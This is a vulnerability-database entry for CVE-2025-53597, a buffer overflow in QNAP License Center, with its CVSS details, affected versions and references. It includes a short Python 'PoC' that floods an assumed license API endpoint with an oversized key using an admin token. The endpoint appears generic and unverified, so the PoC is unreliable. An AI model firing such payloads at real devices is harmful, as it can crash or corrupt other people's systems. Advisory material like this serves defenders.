CVE-2025-53597

Description

A buffer overflow vulnerability has been reported to affect License Center. If a remote attacker gains an administrator account, they can then exploit the vulnerability to modify memory or crash processes. We have already fixed the vulnerability in the following version: License Center 2.0.36 and later

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:license_center:*:*:*:*:*:*:*:* - VULNERABLE

License Center < 2.0.36

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-53597 PoC
# Target: QNAP License Center
# Vulnerability: Buffer Overflow

def exploit(target_ip, admin_token):
    url = f"http://{target_ip}:8080/api/license"
    headers = {
        "Authorization": f"Bearer {admin_token}",
        "Content-Type": "application/json"
    }
    # 构造超长payload触发缓冲区溢出
    payload = {
        "license_key": "A" * 10000
    }
    response = requests.post(url, json=payload, headers=headers)
    return response.status_code

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53597
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53597
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53597/
[4] VulDB https://vuldb.com/cve/CVE-2025-53597
[5] https://www.qnap.com/en/security-advisory/qsa-25-52

Raw JSON Data

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